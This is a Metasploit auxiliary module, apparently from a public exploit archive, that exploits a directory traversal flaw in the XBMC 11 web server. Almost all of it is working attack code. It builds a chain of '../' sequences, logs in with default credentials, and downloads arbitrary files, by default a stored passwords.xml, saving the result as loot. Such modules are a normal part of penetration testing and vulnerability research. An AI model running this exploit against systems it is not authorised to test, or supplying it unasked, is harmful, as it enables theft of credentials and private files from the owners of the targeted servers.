XBMC Web Server Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "XBMC Web Server Directory Traversal",  
'Description' => %q{  
This module exploits a directory traversal bug in XBMC 11, up until the  
2012-11-04 nightly build. The module can only be used to retrieve files.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton  
'Lucas "acidgen" Lundgren IOActive',  
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'  
],  
'References' =>  
[  
['URL', 'https://forum.kodi.tv/showthread.php?tid=144110&pid=1227348'],  
['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],  
['URL', 'https://ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],  
],  
'DisclosureDate' => '2012-11-04'  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),  
OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),  
OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'xbmc']),  
OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'xbmc']),  
])  
end  
  
def run  
# No point to continue if no filename is specified  
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?  
print_error("Please supply the name of the file you want to download")  
return  
end  
  
# Create request  
traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",  
'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])  
}, 25)  
rescue Rex::ConnectionRefused  
print_error("#{rhost}:#{rport} Could not connect.")  
return  
end  
  
# Show data if needed  
if res  
if res.code == 200  
vprint_line(res.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'xbmc.http',  
'application/octet-stream',  
datastore['RHOST'],  
res.body,  
fname  
)  
print_good("File saved in: #{path}")  
elsif res.code == 401  
print_error("#{rhost}:#{rport} Authentication failed")  
elsif res.code == 404  
print_error("#{rhost}:#{rport} File not found")  
end  
else  
print_error("HTTP Response failed")  
end  
end  
end  
`